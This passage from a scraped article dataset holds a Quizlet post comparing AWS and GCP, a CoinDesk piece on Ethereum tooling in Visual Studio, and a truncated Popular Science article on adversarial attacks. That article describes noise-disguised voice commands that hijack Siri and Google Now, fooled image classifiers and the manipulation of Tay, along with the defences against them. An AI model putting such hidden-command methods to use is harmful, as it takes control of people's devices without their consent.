since there's a positive feedback loop of greater scale enabling lower prices. Cloud instance prices appear to decline exponentially - the observed trend is 13% year over year since 2007. If you can't match the scale of your competitors, then your margin will effectively be pushed into negative territory. Thus, there will be an oligopoly of public cloud providers that operate at massive scale and the smaller competitors will die off or become irrelevant. AWS revenue growth, driven by growth in the cloud market, demonstrates the future potential of the market. Source There exists some threshold of infrastructure size at which it makes sense for a company to buy its own hardware, and another break point at which owning entire data centers makes sense. These thresholds rise as the costs of cloud hosting decrease, and there's been a corresponding shift of customers into the cloud (AWS is growing 40-50% year-over-year). At this point in 2016, if you don't have any specialized requirements, there are very few cases where it makes sense not to run a new tech business in the cloud. The price of running a single standard cloud compute core has declined significantly since first introduced. These machines guarantee the user a single cloud CPU with 3.75 GB of memory. The last 3 years have seen GCP's entry into the market. AWS 3-year Reserved Instances remain the cheapest, but are a very restrictive model and involve a large upfront payment. Arguably reserving an instance for 3 years negates many of the benefits of using the cloud at all. Data New technology has also played a role in the public cloud pricing trend. CPUs have continued to roughly obey Moore's law, and we've seen continued increases in disk density plus the switch from traditional magnetic hard drives to SSDs. The upshot being that performance relative to price for CPU and disk resources continues to climb. The next couple steps of this are already visible - we're about to get Skylake processors and widespread access to non-volatile memory devices. Up to now, cloud providers have had access to most of the same hardware, but competitors will inevitably begin to compete more on the proprietary technology they offer. The largest cloud providers now order customized Intel CPUs, for example. Application-level services offered to cloud customers have become differentiators as well; BigQuery has shown that deep database expertise can be leveraged into a compelling public cloud product. As the market consolidates on participants with the best technology who reach massive scale, the winners will emerge. This will likely be AWS, Azure, and GCP in the U.S. and Europe, with Asia split between them and whoever wins China, currently led by Alibaba. For technology businesses which require competitive pricing, platform sophistication, and the possibility of reaching scale, you will choose among these options. I'd place enterprise/consulting focused clouds like IBM and Oracle in a different category - their customer acquisition is very different than public clouds like AWS, though it's clear IBM is attempting to shift towards that category. Oracle, in particular, seems to have only a very loose concept of what ""Cloud"" means. There will also be niche players such as DigitalOcean who thrive by reaching scale in a different market. For DigitalOcean, this appears to be hobbyist developers. Trend 1: Cloud vendor/customer interaction is moving to higher-level interfaces. The cloud vendor market is consolidating, but the mechanism is that a few vendors are getting very big, while the others are static or shrinking. If you operate a small cloud, then you're competing in a market where your competitors are able to consistently drop prices 13% every year, which is brutal. For example, Rackspace appears to be struggling to compete with higher-scale competitors. It's doubtful there will be many acquisitions of full-stack public clouds, since the underlying technology between platforms is so different; Rackspace has twice looked at selling themselves to no avail. To state all of this more abstractly - most of the computer processing that we as humans perform will be done in one of several very very large computers optimized for energy and cost (cloud providers). The computers outside of that domain, such as in mobile devices, will be much smaller and optimized very differently. This is an exaggeration, but it's useful to understand direction of the market. Cloud Technology Trends Trend 2: Cloud vendor infrastructure / hardware behind client-facing interfaces will become increasingly specialized in proprietary ways. Cloud computing platforms have many well-defined concepts they share. A compute node, for example. Likewise, these companies have been subject to the same hardware landscape, and thus share much of their hardware stack in common, like Intel CPUs. To differentiate themselves and gain a competitive advantage, vendors will compete more on technology, and in fact this is well underway. Here's where we see the next few rounds of technological competition taking us. Amazon in particular has added a number of products that implement interfaces higher up the stack than a vanilla EC2 instance. For example, Amazon's Relational Data Store (RDS) replaces a database that a cloud operator might otherwise need to run on his/her own. Rather than an OS-level interface (Linux), the developer is interacting with the cloud at an application-level interface (MySQL wire protocol). AWS Lambda is another example of this. This will continue happening. Application-level cloud services tend to be take-it-or-leave-it; if they work for you, then they save development and maintenance time, but the tradeoff is less control over your infrastructure. For example, there are fewer configuration and optimization possibilities if you're running MySQL RDS versus running MySQL yourself. If RDS works for you, that's great, otherwise you manage MySQL on your own. Every higher-level service offered by cloud vendors implies this tradeoff, as does using a cloud at all. Trend 3: Cloud virtualization will move down the stack. As these services mature and optimize for greater scale in the normal case, the services fit a wider array of client use-cases and tuning for your own application is less important. In several years time there will be very few reasons not to use a hosted database service, even for very high throughput use-cases. This means cloud customers will spend less time interacting with OS-level interfaces and more time with application-level interfaces. The role of the infrastructure engineer can effectively be automated. If your clients are interacting with an up-the-stack interface like the MySQL wire protocol, they effectively care only about the SLA of that interface, rather than the infrastructure behind it. This means the service can be optimized specifically for that SLA, from the software down to the hardware layer. Thus, cloud vendors will compete on completely proprietary technology behind the client-facing layer of the platform. We've already seen several cases of this: Amazon EC2 C4 (Amazon's Haswell-generation package) instances use proprietary CPUs, customized by Intel specifically for AWS. I suspect Google has a similar deal. Source Amazon Glacier uses a proprietary storage technology to provide very low-cost storage with an SLA that access may take several hours. It's been widely speculated what sort of technology powers it - basically no one knows for sure how it works. Google's Nearline storage has a similar SLA and pricing structure, and is also proprietary. Source Google's software-defined networking platform, called Jupiter, is completely proprietary and though some details have been published, no other vendor has access to it. Users interact with it through a configuration API that exposes firewall rules and network routes. This is notable because of how much Google has invested in its networking technology - it uses custom hardware switches, for example. Source There's no reason this trend will stop - cloud vendors can compete on price and performance, privately optimizing their entire stack, and the scale of operating tens of millions of machines and service instances will magnify the cost benefits of such optimization. This trend means that we're possibly a few years away from much of the computing that we do as software developers being on proprietary and to-some-degree secret hardware. The most common interface through which developers interact now with cloud resources is the Linux OS. If you believe that cloud vendors are incentivized to optimize everything behind client-facing interfaces then it's likely we'll also start to see OS-level virtualization, rather than Xen or KVM. This optimization applies to both higher-level (application) interfaces, and an OS-level interface. Stick with me on this one. The low-hanging fruit here is that cloud host machines are running an average of 2+ Linux kernels. Let's say that number is k . If you're the CTO of AWS you can run a calculation that you operate a total number of kn kernels, where n is the total number of machines you operate (in the millions or tens of millions for the largest platforms). If you think about the total energy cost of running this many kernels plus the virtualization overhead in the entire cloud, it's staggering. You probably then say ""KVM/Xen virtualization costs us [huge number] gigawatt-hours per month, we should optimize this."" There is a dual win in moving from KVM or Xen-type virtualization to kernel-level virtualization - you run fewer kernels and there is less overhead between the clients and hardware. In fact, containerization is already an increasingly popular Linux feature, and an interface like Docker that would play well in this world. The problem is that Linux containers lack the durability necessary for multi-tenant operation in the cloud, where your co-tenant could be a malicious actor. Thus, AWS or GCP will develop a proprietary durable kernel-level virtualization technology which can be run at lower-cost than more traditional cloud virtualization. In fact, Joyent has already operated this kind of technology in the cloud for years, using SmartOS rather than Linux. Kernel-virtualization will mean that clients will operate containers rather than virtual machines, and container packaging will be important. At some point one of these platforms is going to really and truly drop the containerization hammer. EC2 / GCE deployment at that point will look different than now, but it will probably dovetail with existing containerization technology. Until that point using containers in a public cloud arguably doesn't carry much benefit. -- The cloud market is still relatively young. The current landscape of providers, with Azure and GCP only recently becoming serious competitors, means that platform technology development is far from over, even for basic features like compute virtualization technology. Choosing a cloud in this environment means thinking about who has the capacity to build the best technology in the long-term. Quizlet's footprint is large enough that it was worth it to perform a real investigation of the public cloud options (AWS, GCP, Azure). I suspect relatively few organizations actually do a serious evaluation of cloud vendors and there doesn't seem to be much publicly available information comparing clouds. This is partly because switching clouds is so painful once you reach scale, and partly because it's only recently that Azure and GCP could even be considered viable AWS competitors. For companies that have grown up in the cloud and are happy with their current vendor, the costs versus benefits of migrating are usually prohibitive. It would be surprising if Netflix ever leaves AWS. We initially narrowed down our evaluation to AWS and GCP. AWS is the default, Azure was eliminated since it's a Linux-second cloud and we don't use any other Microsoft products, and GCP was included as a good second option. Our take on IBM is that some of the Softlayer options are interesting, but overall the cloud hasn't reached the sophistication of the others, and will likely always be targeted towards enterprise IBM customers. Evaluating GCP In the mid-2000s both Amazon and Google released cloud hosting services. While Amazon gave developers OS-level access with EC2, Google chose to present an application-level interface with App Engine. Google's decision may have been prescient given the up-the-stack direction of things in general, but proved too restrictive to be useful for most developers. It was the wrong bet. AWS experienced massive growth through the rest of the 2000s, while Google lacked a comparable product. In the early 2010s this began to change. Google Cloud Platform started out as a division of App Engine, offering Google Compute Engine, an EC2 competitor. Then App Engine and the newly formed Google Cloud Platform organizations eventually switched places in the corporate hierarchy, with App Engine now being considered a division GCP. Google now has a suite of products very comparable to whats available on Amazon. Here's a comparison of the wording on similar platform features between the two clouds: AWS (Amazon Web Services) GCP (Google Cloud Platform) EC2 (Elastic Compute Cloud) GCE (Google Compute Engine) SQS (Simple Queue Service) Cloud Pub/Sub S3 (Simple Storage Service) GCS (Google Cloud Storage) DynamoDB Cloud Datastore / BigTable RDS (Relational Database Service) / Aurora Cloud SQL The reason it is able to compete in the cloud marketplace is that Google has run at massive scale for its own operations for over a decade and has developed strong proprietary technology that it can now leverage for the public cloud. Operating an internal infrastructure is obviously different than operating a cloud, but this infrastructure means Google has a strong tailwind as it deploys cloud products. For example, Google probably has the best network (both internal and CDN) in the world, developed for its own operations, and now useful for routing cloud traffic. BigQuery is another example; it's a sophisticated analytical database used internally by Google, then deployed for public consumption. CPU If there will be an oligopoly of cloud vendors, then Google is one of the few companies with the scale and resources to legitimately compete. Even with an existing massive infrastructure, this is still an expensive market to compete in, and part of using GCP is convincing yourself that Google will invest 5+ years in really entering the market. We believe this to be true, given their investments in GCP engineering and leadership. Google Cloud CTO Urs Hölzle has said publicly that ""One day, this could be bigger than ads. Certainly, in terms of market potential, it is."" Diane Greene now leads the division that includes GCP - from our perspective it's nice to know that the cloud division has a seat on the Google Board of Directors. Dimensions of Comparison As noted above, AWS and GCP offer a number of comparable peripheral features. S3 and GCS are effectively the same product, as are SQS and Cloud Pub/Sub. Amazon RDS and Aurora are more advanced than Google Cloud SQL - but after testing we realized we'd need to manage our MySQL databases ourselves anyway. It became clear that the compute product (EC2/GCE) was the most important element of both products to us, since managing compute VMs is the biggest component in our infrastructure engineering time and overall cloud expenditure. So we focused most on comparing EC2 and GCE and sliced our comparison into the dimensions we cared most about; we narrowed down to the bread-and-butter platform features, like CPU, network speed, disk throughput, and how much these things cost. It's tough to fairly compare these things. Some of our measures are fairly simplistic - our intent was to poke at many factors of both platforms and get a sense of all of them. I'm including them to explain how we decided on GCP as our cloud, rather than as a definitive reference of cross-cloud performance. A cloud platform is a complex product, and if you're deciding among clouds I'd encourage you to test these for yourself. Note these tests were conducted in January and February 2015, but pricing has updated. CPU performance is basically identical between AWS and GCP. The biggest factor in performance is which processor generation you're running. At the time I'm writing this, both platforms are switching their machines from the Ivy Bridge generation to Haswell. AWS does this by releasing a new machine package - in this case all the machine types prefixed with a 4, such as c4.large, are Haswell-generation. GCP upgrades processor generation on the zone level, so certain zones in the us-central-1 region are Haswell. Both platforms employ virtualization technology that imposes overhead on CPU-intensive operations. During testing, we couldn't tell much difference in the effective performance, so our conclusion is that it's not worth thinking about. Memory It's worth noting that GCP is more extreme in the resources you get for compute-optimized instances. The 4-core AWS compute optimized option, a c4.xlarge, gives you 7.5 GB memory. The equivalent GCP package, the n1-highcpu-4, only has 3.6 GB of memory, and is priced about 32% cheaper. GCP offers the cheaper option for raw CPU performance. The x-axis is a simple benchmark of hashes generated per second. Processors on AWS and GCP perform about the same, so GCP's advantage in this space is a function of its pricing model. You see higher CPU capacity relative to price on GCP, in both normal and CPU-optimized instances. Networking The numbers above were calculated with the following benchmark: openssl speed -multi 24 blowfish . This counts how many hashes of varying sizes can be calculated in a given time period. Though thats oversimplifying the problem somewhat, I like this approach because it's transparent and easy, and we've observed that it's strongly correlated with our actual application performance. Like CPU, memory performance is equivalent on both platforms, so any advantage is in pricing model. Optimizing on memory, AWS has an advantage in terms of capacity relative to price. Chalk this up to particularly aggressive pricing on the r3 package, their memory-optimized option. The real highlight of GCP is the networking technology, which is similar to Amazon's VPC but much higher capacity for many machine types. Amazon optimizes certain machine types for 10 Gbit networking and provides very little in the way of documentation for networking capacity on their other instances. Google's documentation, on the other hand, explains that a node is allocated 2 Gbit/s per CPU core up to 10 Gbits/s, so that an n1-standard-4 machines has a ceiling of 8 Gbit/s. Both platforms let you run a vLAN with your own local address space and cap out at 10 Gbit/s for networking throughput for a single node. In practice, however, we observe much better networking performance for most of our machines on GCP. GCP does roughly 7x better for the comparison of 4-core machines, but for the largest machine sizes networking performance is roughly equivalent. This chart shows our observed results on an iperf performance test between nodes of the same type and same zone in AWS (with the appropriate network driver) and GCP. For this mid-size machine type we also observed much faster external-file transfer speeds. For some infrastructures, networking performance for machines of this size might not make as much difference. Quizlet runs a number of mid-size machines with significant network traffic, so for us it's very useful to have higher capacity without running oversized machines. For example, our load balancers don't have any CPU-intensive operations to perform but have significant network throughput, so GCP's network capacity allows us to run a smaller instance size and save money. Amazon's standard response on this question is that if you're concerned about networking performance then you should be using larger instance types. Here's some magic: Disk Performance $ traceroute google.com traceroute to google.com (74.125.193.139), 30 hops max, 60 byte packets 1 ig-in-f139.1e100.net (74.125.193.139) 0.865 ms 0.847 ms 0.838 ms Software-defined networking means that google.com appears to be one hop away, which probably isn't physically true. Google probably has the best networking technology on the planet. The internally-developed Jupiter Stack is exposed to public cloud customers through the cloud API, which we found simpler and more powerful than AWS's VPC configuration. VPC permissions to enable one machine access to another, for example, are notoriously tedious to manipulate. Another useful feature for us is that Google peers its egress traffic directly with Cloudflare, which Quizlet uses for CDN and DDoS protection. The peering deal has performance benefits and has significantly decreased the cost of our traffic egress. Disks are complex to compare directly, because the platforms offer such different options - but we prefer the GCP ones. Here's a comparison of the theoretical disk limits described for both platforms, considering only SSDs. Disk Snapshotting I've assumed 15,000 IOPS for the provisioned IOPS drive, which could go up to 20,000. Note also that the AWS vanilla SSDs can burst up to 3,000 additional IOPS. The i2.xlarge type above is a machine package, meaning it's price includes the entire machine cost, not just the disk cost. We spent time benchmarking magnetic and SSD drives on both platforms and found that the performance was in line with the published numbers. We haven't benchmarked Local SSDs. On GCP you pay slightly more for the vanilla SSD, but get far superior performance. Running a high-throughput database on AWS inevitably means a Provisioned IOPS drive or an optimized instance type, which drives the cost up. Comparing GCP's SSDs with AWS Provisioned IOPS yields a surprising price difference. GCP also offers Local SSD storage, which gives you the option to trade durability for power. These drives risk data loss if there is a problem on the instance, unlike the other SSD options. AWS i2 machines are optimized for disk throughput, but use ephemeral drives, meaning they also lack durability. AWS has other machine types optimized for workloads like sequential reading (useful for Hadoop jobs), that may improve the overall price you would pay for your application. Default Images The price/performance ratio of disks has a significant effect on our overall cloud spend. Our primary data store is comprised of 8 large MySQL machines serving several terabytes of production data. At any given time, we also run around 14 machines with high-throughput disk caches serving static assets. Given the data above, it's clear why we prefer Google disk technology. One other difference we noticed when examining disk performance was the speed of disk snapshotting on GCP. This feature copies a full copy of a disk at a moment in time, shipping it elsewhere for storage. It is particularly useful for backing up data, since it's a fairly lightweight operation. Both platforms enable SSD disk snapshots through their API and web console. Live Migration We tested snapshotting with 400 GB SSD drives given 300 GB of random data. On AWS, we observed snapshot times around 8 hours, while on GCP the same operation takes about 6 minutes. I'll spare you the chart. This is, like, a lot different. I asked a very patient intern to test this until we could figure out what we were doing wrong on AWS. It appears this is really a difference in core disk technology; GCP's disks are much better at snapshotting. Snapshotting is a pretty minor dimension in the overall cloud platform comparison but we're happy to have it as a feature, and it's enabled a much simpler architecture for our MySQL backups. Early in our process of picking a cloud, we made the decision to run CentOS 7 as our Linux distribution. We assumed running the distribution of our choice would be a solved problem on both platforms, but we ended up preferring GCE's system for packaging distributions. While AWS officially supports only its own Amazon Linux AMI and relies on community distributions for other flavors, Google made the decision to officially support a number of these themselves, including CentOS, Ubuntu, and CoreOS. We now run a recent CentOS 7 image configured by Google. Having officially supported images is nicer than you might think. Amazon Linux AMI comes preinstalled with the ixgbe network drivers, for example, which are required for optimal networking performance on AWS. The problem is that Amazon Linux AMI is a fork of CentOS 6, which is the only official option and is beginning to show its age - many newer packages are harder to install on it, and it uses Upstart to manage processes. Community images have filled the gap for newer distributions, but these aren't managed as well as an Amazon-managed version might be. For example, the community-managed CentOS 7 package wasn't yet available to run on Amazon's c4 package when we were testing it. You can always generate your own custom images, of course, but Google makes it painless to press a button and get the distribution you want. What it comes down to is - do you think you'll have fewer problems building your own Linux image, or using one configured and optimized by the cloud platform provider? Pricing Another key difference between EC2 and GCE is how they manage platform-level upgrades, such as improvements to the virtualization technology. While Amazon attempts to keep things as static as possible, Google has architected its cloud with the assumption it will be constantly making updates and upgrades. Doing this smoothly means that GCE needs the capability to transparently move a running VM between hardware nodes, a technology called live migration. This is somewhat mind boggling - it means moving running machine state, such as live memory pages and network connections, to a new host machine. The VM continues executing during this operation, except for a brief blackout period. This is important for several reasons. On EC2, if a node has a hardware problem, it will likely mean that you'll need to restart your virtual machine. On GCE, if a hardware problem is detected early enough, the platform will attempt to migrate your virtual machine to a new node without requiring any action from the customer, and without interrupting applications that are running on it. On EC2, if the virtualization technology needs to be updated, it will likely require a machine restart. There was a bad case of this in September 2014, when a bug was found in the Xen Virtualization technology used on EC2, which meant customers had to reboot a large number of EC2 VMs by a deadline. This kind of reboot storm basically isn't necessary on GCE. -- Our conclusion from comparing EC2 and GCE on technology was that networking and disk performance are better on GCP, and the other factors are pretty similar. We believe this is a reflection of Google's cloud development model. Most of GCP's technology was developed internally and has high standards of reliability and performance. It means that creating corresponding cloud products is a matter of exposing internal tools, rather than developing completely new ones. The outcome of that process seems to be that the user gets better performance. The GCP pricing model is much, much better than AWS. This shows the GCE sustained use pricing curve. Note that the discount is automatic. Source The AWS and GCP sticker prices are pretty similar. Both platforms offer an hourly price for instances and a long-term discount option. On AWS you get a discount by buying Reserved Instances, which gives you a ~35-45% discount for purchasing instances with a 1 or 3 year lock-in. On GCP you get a similar discount (to 1-year reserved instances) with Sustained-use Pricing, which lowers prices on the margin the longer you run a node. The difference here is the GCP discount is automatic, while the AWS discount requires a decision to commit to running a node for some time period, plus an up-front payment. We modelled our annual cloud spend on both platforms for several years into the future. After planning the ~200 instances we would run on each cloud and factoring in the above price discounts, plus our spend on network egress, disk allocations, support pricing, and the amount these would increase based on our traffic predictions, the final estimates were within 10% of one another (GCP was cheaper). This comparison examined GCP's sustained pricing models against AWS 1-year Reserved Instances. It's difficult to factor in all of the elements of a cloud into the pricing model - for example it's hard to say how much less we spend because we get better networking on mid-size GCP machines. The pricing on these two clouds is similar enough that price comparisons assuming 100% reserved instances with these parameters are basically a wash. Community and Momentum This estimate, however, doesn't really reflect real-world spend - it's virtually impossible to run reserved instances for 100% of your infrastructure. It's hard to quantify this, but I would guess that most companies operating on AWS reserve only reserve 50-80% of their instances. Buying a reserve involves a decision to commit to run a certain node type for at least a year, along with an upfront payment ($10,000+ for larger types), which means that it's a finance optimization and probably doesn't happen every day. So if you're running on AWS, you probably spend a lot on On-Demand instances even though there are large discounts to be had, which can add up to a difference of tens or hundreds of thousands of dollars. On GCP this is automatic. It's hard to overemphasize how much friendlier GCP pricing is, and how poorly the AWS model works. Amazon's rhetoric for why you should run cloud vs self-hosted infrastructure is the additional agility you get; You can elastically spin up and shut down capacity whenever you want. Reserved Instance pricing effectively negates this advantage, and running all your instances On-Demand is extremely expensive in comparison. So you're left with the decision to over-spend or lock yourself in. In practice, you'll probably run some machines reserved and some on-demand. 1 In summary - despite the similar list prices, you would likely spend significantly less on a GCP infrastructure than a comparable AWS infrastructure. By far the most significant advantage of Amazon is that it has the biggest base of users. This helps in a lot of ways: The sheer quantity of online content associated with platform; When you have a problem you can probably punch the issue into Google and see a Stack Overflow discussion or read a blog post about it. 3rd-party vendors deploy their products to the most popular cloud first. This means that some services may be unavailable, or less well maintained. New hires are more likely to be familiar with AWS than any other platform. How important is it to be on the most popular cloud? Part of the decision is weighing this factor against others. Another factor is gauging what the community will look like in the future. Though it's currently less feature-rich than AWS, Google has rapidly deployed new GCP features over the past few years and now has pace on releasing new products. Given its cadence, plus our (limited) understanding of its roadmap, we think GCP will grow more compelling relative to its competitors as time goes on. There are still many proprietary Google technologies that have yet to be productized for public consumption. Final Decision Everyone involved unanimously picked GCP. It came down to this: we believe the core technology is better. Though it has fewer users and services than AWS, we realized that bread and butter platform technology / performance is more important and we felt more confident in Google's core compute instance, networking, and disk technology. As a bonus: GCP's pricing is strictly better than AWS. It's certainly a bet to run our infrastructure on the less popular cloud, but it's hard to imagine performing our analysis and then not choosing the best technology and pricing. Given the technology and pricing on GCP, we expect its growth will accelerate, and it will acquire both individual developers and enterprise customers. Will it ever be bigger than AWS? Perhaps not, but our thesis is the overall market will be dominated by several huge clouds, and GCP will be one of them. Switching Over We switched Quizlet's infrastructure to run on GCP on 8/1/2015, before our back to school rush of traffic. Switching over to GCP was a large project which we'll cover in detail in a forthcoming blog post. Overall it was a smooth transition and we're very glad that we picked GCP as our provider - we've received excellent support and scaled up our deployment with few incidents. We're also looking forward to several unreleased GCP features that will arrive soon. This chart shows our weekly unique visitors since 2007. We'll continue scaling up our infrastructure as our traffic increases. Source Of the issues we've had with GCP, these are the ones worth mentioning: The account security model isn't as sophisticated yet as that on AWS. For example, many permissions are assigned on the machine level. This is a clunky system, because permissions there aren't very granular, and they can't be added or revoked after a machine is created. I suspect that we'll see a number of changes to this in the future. Past live migrations have caused application disruptions on a few of our instances that intensively use a lot of memory, such as our MySQL and Memcached VMs. Google has been continually optimizing the live migration technology and we've seen this issue mostly disappear. Footnotes It's a short list, and we're glad we switched to GCP. If the cloud market is still in a period of rapid expansion, and Google is one of a few companies able to compete at scale, and GCP is built on a substrate of superior technology, then our conclusion is that it will gain market-share and mind-share. We'll see small companies that start out on GCP grow into larger customers, and we'll see large customers switch onto it. If you're involved in one of those decision points, it's in your interest to evaluate the options for yourself. Ultimately it was a bet to move Quizlet to GCP - a significant one, given how deeply our product depends on cloud infrastructure. Switching over was a time consuming and complex process, but was the right decision for our business. We made that bet based on our belief in its core technology. The engineers who work on GCP also believe in its technology and we expect that Google will continue putting huge amounts of investment in its cloud infrastructure, as it always has. As a GCP product manager explained to us, ""Ferraris aren't cheap."" Whether you believe in GCP's technology or not, I think it's certainly worth evaluating if you're picking a cloud. 1: I would speculate that AWS uses its Reserved Instance pricing model for several reasons: upfront payments, stickiness, capacity planning. Amazon gets an upfront cash payment for a reserved instance which it can invest immediately in its own business. That's a nice funding model. Reserved Instances effectively lock customers in for some time period. You're much less likely to switch clouds if you've already payed for instances for a 3 year timeframe. RIs help with AWS capacity planning, since AWS knows for sure that a certain percentage of its capacity will be used stretching into the future. The tradeoff is they'll give you a discount if you can help them plan for the future. Google doesn't have that advantage, but I suspect gets around this by performing a simple statistical calculation based on the age of the instances running in its cloud. If a machine has been running for 2 years, for example, it's very likely to be running for at least another month. Google also runs very significant capacity for its own private infrastructure, which means that capacity planning for their cloud business could be less important than for Amazon. None of the logic behind Reserved Instances, other than the price, helps you as a customer.",en
1459367565,CONTENT SHARED,3067875254349597654,4340306774493623681,-498266315041649697,,,,HTML,http://www.coindesk.com/microsoft-ethereum-3-million-developers/,Microsoft Adds Ethereum to Windows Platform For Over 3 Million Developers - CoinDesk,"Millions of Microsoft developers are now able to build decentralized applications using the Ethereum blockchain thanks to a collaboration between the software giant and Consensys, announced today. By building Ethereum's Solidity programming language for writing smart contracts directly into Mircosoft's Visual Studio platform, developers will be able to build, test and deploy decentralized applications, or dapps , within an integrated environment they already know how to use. But don't think this is a money play for either Consensys, or Microsoft, at least not yet. In a conversation with CoinDesk, CEO of Consensys, Joe Lubin said that growing the number of developers using the distributed ledger technology was first and foremost about reimagining social, economic and political systems. Lubin, who is also the co-founder of Ethereum told CoinDesk: ""It's in our best interest, and in our mission, to help with the adoption of Ethereum in all its different forms - public, private, consortium - and this just makes that that much easier."" The Consensys integration with Microsoft uses smart contract programming language Solidity to let developers run programs on the Ethereum network, also called the Ethereum Virtual Machine (EVM). Announced today at Microsoft's Build Conference in San Francisco, the new functionality was scheduled to go live this morning at 10am EST. With Ethereum's Solidity language, developers will be able to write applications using self-enforcing smart contracts that can theoretically execute as wide a range of business transactions as the coder can imagine. Ethereum's cryptocurrency, ether, powers the applications, and is currently valued at about $11.60, with a market cap of over $900m. By comparison, bitcoin's market cap is $6.3 billion. The EVM transactions - or smart contract executions as they may be more accurately called - can then be recorded on what Consensys described in a statement as a ""non-repudiable and authoritative"" record using either the public or private versions of the Ethereum blockchain. Ethereum's Room to Grow Until recently Ethereum adoption has been slow, even if it is accelerating. For example, the number of Ethereum repositories on GitHub, a reflection of how frequently developers are using the distributed ledger in their projects has grown at an exponential rate since January 2014, from less than 10 to about 460 by the end of 2015, according to analysis conducted by venture capital firm Kleiner Perkins Caufield & Byers. Using the same methodology, we calculated that number has more than doubled to 997 repositories, in the past three months alone. But when compared to bitcoin, where there are currently 7,647 bitcoin repositories in GitHub, there's plenty room to grow before Ethereum becomes a serious competitor. Marley Gray, director of business development and strategy for blockchain at Microsoft thinks his company's large pool of developers could change that. As of July 2015, when Microsoft launched its most recent version of Visual Studio more than 3.2 million developers were registered on the platform, and the gallery of tools had been downloaded 13 million times in the previous year. ""This integration with Visual Studio will offer developers enterprise-grade solutions with advanced capabilities for teams working on blockchain smart contract projects of any size and complexity,"" Gray said in a statement. While Consensys' CEO said he doesn't plan on making any money directly from the collaboration, he was clear in his conversation with CoinDesk that the effort to make it easier for developers to build dapps was no act of philanthropy. Lubin said: ""We at Consesys are a for-profit entity and we are building products on [the Ethereum] platform. We are building professional services and consulting on that platform, so it makes it so much easier for us to offer that kind of an environment to our customers and using that environment we can offer further services. Business of Ethereum Based in Brooklyn, New York, the self-funded Consensys is currently generating revenue from deals it has closed with institutional clients. Consensys declined to share the names of its clients. Currently, Consensys employs about 70 people around the world, 30 of which are based at their headquarters in New York City, Keys said. He estimates that 80% of the staff work on a full-time basis and are compensated through a combined equity and payment structure. ""Everybody's a stakeholder,"" he told CoinDesk. ""It just depends on when they started."" Consensys also isn't sharing its specific revenue numbers. But Keys said it has no intention of being profitable anytime soon. ""We just want to keep hiring people. We're at 70 now and if we find the right people we'll hire immediately,"" he said. For an idea of the growth rate the company expects, it plans to more than double the workforce by the end of 2016, employing 150 people on a full-time basis, Keys said. Symbiotic relationship Consensys' deal with Microsoft is a true collaboration, with neither party paying the other to be involved in any way, said Lubin. In fact, both companies have benefited elsewhere by working together. In November 2015, Consensys was the first company to join Microsoft's Azure cloud-computing service designed to let other companies experiment in a sandbox environment with the distributed ledger technology. As a result, Microsoft was able cut out its place in the blockchain industry as one of the largest early movers, and Consensys earned the credibility of partnering with a $427bn publicly traded company. The relationship, Lubin thinks, will continue thanks in no small part to today's news. Lubin described Visual Studio to CoinDesk: ""It's one of the best software developer tools on the planet, and this [collaboration] is like adding the vocabulary to build different kinds of programs to your development repertoire."" ConsenSys Ethereum Microsoft Microsoft Azure",en
1459367793,CONTENT REMOVED,-7356135999773525293,-1443636648652872475,8209530310193218854,,,,HTML,http://www.popsci.com/byzantine-science-deceiving-artificial-intelligence,Fooling The Machine,"Two groups, one at Berkeley University and another at Georgetown University, have successfully developed algorithms that can issue speech commands for digital personal assistants, like Siri and Google Now, in the form of bursts of sound unrecognizable to human ears. To a human, these commands just sound like random white noise, but they could be used to tell a voice-activated assistant like Amazon's Alexa to do things that its owner never intended. Nicholas Carlini, one of the Byzantine audio researchers, says that their tests have been able to activate open source audio recognizers, Siri, and Google Now in their tests, with accuracy on all three more than 90 percent. The noise sounds like a science-fiction alien transmission. It's a garbled mix of white noise and human voice, but certainly unrecognizable as a command. With this attack, any phone that hears the noise (they have to specifically target iOS or Android) could be unknowingly forced to visit a webpage that plays the noise, and thus infect other phones near it, Carlini says. In that same scenario, the webpage could also silently download malware onto the device. There's also the possibility these noises could be played over the radio, hidden in white noise or background audio. These attacks can happen because the machine is trained to think that there's readable or important data in almost every input, and also that some things are more common than others, says Goodfellow. It's easier to fool the network into thinking it's seeing a common object, because it thinks that it should be seeing it more commonly. That's why Goodfellow and a separate group at University of Wyoming are able to make the network classify images when there's nothing there, by making it identify white noise, randomly generated black and white imagery. In Goodfellow's research, random white noise he put through the network was most often classified as a horse. This coincidentally brings us back to Clever Hans, our not so mathematically-gifted horse from earlier. Much like Clever Hans, Goodfellow says these neural networks aren't really learning certain ideas, but just how to recognize when they finds the right idea. The distinction is slight, but important. This lack of foundational knowledge makes it easy to maliciously recreate the experience of finding the ""right"" outcome for the algorithm, which is actually a false answer. To understand what is, the machine also must understand what is not. Goodfellow found that when he trained his image classifying networks with both the natural images, and the doctored images (specifying that they were fake), he not only could reduce the efficiency of the attack by more than 90 percent, but the network was better at its original task. ""When you start forcing them to explain the really unusual adversarial examples, it might come up with a even more robust explanation of what the underlying concepts are,"" Goodfellow says. The two audio groups have also used the same approach as the Google researchers to patch language recognition systems against their own attacks, by retraining their networks. They've achieved similar levels of success, with more than 90 percent reduction in attack efficiency. ""It's probably fairly easy for an adversary to fool us, to deceive us. Some of that may be benign, some of that may not be."" It's no surprise that this area of research has garnered interest from the United States military. In fact, the Army Research Laboratory actually sponsored at least two of the most recent papers, including the black box attack. While the Army Lab is proactive in funding research, this doesn't mean the tech is in active development for use in warfare. According to a spokesperson, research usually takes upwards of 10 years to make its way into soldier's hands. Ananthram Swami, a researcher with the U.S. Army Research Laboratory, has had varying levels of participation in recent papers concerning adversarial attacks. The Army's interest lies in the detection and stopping of purposefully deceptive data, in an age where not all sources of information can be vetted properly. Swami points to the bevy of data accessible from public sensors placed by universities and open source projects. ""We don't necessarily control all that data. It's probably fairly easy for an adversary to fool us, to deceive us,"" Swami said. ""Some of that may be benign, some of that may not be."" He also says that as the Army has a vested interest in autonomous robots, tanks, and other vehicles, so this research is obvious. By studying this now, the Army would have a headstart for systems in the field that were immune to potential adversarial attacks. But any group in that uses deep neural networks, which is a quickly growing faction, should have concerns about the potential of adversarial attacks. While machine learning and artificial intelligence systems are still in their infancy, we're at a dangerous time where security oversights can have drastic results. Many companies are placing highly volatile information in the hands of artificially intelligent systems, which have not endured the scrutiny of time. Our neural networks are simply too young for us to know everything about them. A similar oversight led to Tay, Microsoft's Twitter chatbot that quickly turned into a genocidal racist. A torrent of malicious data, and a foreseeably terrible ""repeat after me"" function, led Tay to deviate wildly from her original programming. The bot was hijacked by bad training data from the wild, and serves as a handy example for what can happen when machine learning is poorly 